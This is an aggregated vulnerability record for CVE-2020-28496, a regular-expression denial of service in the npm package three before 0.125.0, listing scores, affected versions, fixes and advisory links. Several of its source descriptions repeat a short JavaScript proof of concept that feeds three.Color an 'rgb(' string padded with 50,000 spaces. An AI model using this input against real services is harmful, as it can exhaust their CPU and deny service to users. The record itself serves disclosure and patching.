{"id":"CVE-2020-28496","aliases":["CLSA-2026-1772583176","CLSA-2026-1792760004","EUVD-2021-0655","GHSA-fq6p-x6j3-cmmq","UBUNTU-CVE-2020-28496"],"status":"published","title":"Regular Expression Denial of Service (ReDoS)","description":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i \u003c n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.02519,"percentile":0.85069,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400"],"published":"2021-02-18T14:20:22Z","modified":"2026-10-23T19:15:04Z","fixes":[{"ecosystem":"npm","package":"three","fixed_in":["0.125.0"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"three","fixed_in":["0.71.0-tuxcare.1","0.71.0-tuxcare.3"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"three","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.125.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"three","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.71.0-tuxcare.0"},{"fixed":"0.71.0-tuxcare.1"}]}],"versions":["0.71.0"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"three","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.71.0-tuxcare.0"},{"fixed":"0.71.0-tuxcare.3"}]}],"versions":["0.71.0","0.71.0-tuxcare.1","0.71.0-tuxcare.2"]},{"source":"osv","ecosystem":"npm","package":"three","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.125.0"}]}]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"three.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["73+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"three.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["80+dfsg2-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"three.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["80+dfsg2-2","111+dfsg1-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"three.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["111+dfsg1-2"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"three.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["111+dfsg1-3"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"three.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["111+dfsg1-3"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"three.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["111+dfsg1-5"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"three.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["111+dfsg1-3","111+dfsg1-3build1","111+dfsg1-4","111+dfsg1-5"]}],"products":[{"vendor":"three_project","product":"three"}],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-THREE-1064931","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","web","report"]},{"url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","web","report"]},{"url":"https://github.com/mrdoob/three.js/issues/21132","tags":["x_refsource_MISC","x_transferred","Exploit","Issue Tracking","Third Party Advisory","web","report"]},{"url":"https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-28496","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-fq6p-x6j3-cmmq"},{"url":"https://ubuntu.com/security/CVE-2020-28496","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2020-28496","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2020-28496","title":"Regular Expression Denial of Service (ReDoS)","description":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i \u003c n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")","status":"published","published":"2021-02-18T14:20:22.065Z","modified":"2024-09-17T01:01:31.663Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"updated_at":"2026-11-02T14:35:57.017407Z"}],"euvd":[{"id":"EUVD-2021-0655","description":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i \u003c n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")","status":"published","published":"2021-02-18T14:20:22Z","modified":"2024-09-17T01:01:31Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T00:28:53.686001Z"}],"ghsa":[{"id":"GHSA-fq6p-x6j3-cmmq","title":"Denial of service in three","description":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. \n\n**PoC:** \n```js\nvar three = require('three')\nfunction build_blank(n) {\n    var ret = \"rgb(\"\n    for (var i = 0; i \u003c n; i++) {\n        ret += \" \"\n    }\n    return ret + \"\";\n}\nvar Color = three.Color\nvar time = Date.now();\nnew Color(build_blank(50000)) var time_cost = Date.now() - time;\nconsole.log(time_cost + \" ms\")\n```","status":"published","published":"2021-03-01T19:57:16Z","modified":"2023-09-11T16:30:56Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:37:03.916765Z"}],"nvd":[{"id":"CVE-2020-28496","description":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i \u003c n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")","status":"published","published":"2021-02-18T15:15:13.36Z","modified":"2026-06-17T03:10:32.423Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"},{"version":"2.0","score":5,"vector":"AV:N/AC:L/Au:N/C:N/I:N/A:P","level":"medium","assessor":"primary"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:06:34.188486Z"}],"osv":[{"id":"GHSA-fq6p-x6j3-cmmq","title":"Denial of service in three","description":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. \n\n**PoC:** \n```js\nvar three = require('three')\nfunction build_blank(n) {\n    var ret = \"rgb(\"\n    for (var i = 0; i \u003c n; i++) {\n        ret += \" \"\n    }\n    return ret + \"\";\n}\nvar Color = three.Color\nvar time = Date.now();\nnew Color(build_blank(50000)) var time_cost = Date.now() - time;\nconsole.log(time_cost + \" ms\")\n```","status":"published","published":"2021-03-01T19:57:16Z","modified":"2023-11-08T04:03:28.730603Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:46.760785Z"},{"id":"UBUNTU-CVE-2020-28496","description":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i \u003c n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")","status":"published","published":"2021-02-18T15:15:00Z","modified":"2026-10-17T12:55:53.477175636Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:54:24.541803Z"},{"id":"CLSA-2026-1772583176","title":"TuxCare security update for three (1 CVE)","description":"TuxCare rebuilt three to address 1 CVE. Fixed in 0.71.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:09Z","modified":"2026-10-15T09:47:46.298485343Z","updated_at":"2026-11-02T15:43:43.249928Z"},{"id":"CLSA-2026-1792760004","title":"TuxCare security update for three (1 CVE)","description":"TuxCare rebuilt three to address 1 CVE. Fixed in 0.71.0-tuxcare.3.","status":"published","published":"2026-10-23T12:53:24Z","modified":"2026-10-23T19:15:04.053917585Z","updated_at":"2026-11-02T15:43:54.981307Z"}]}}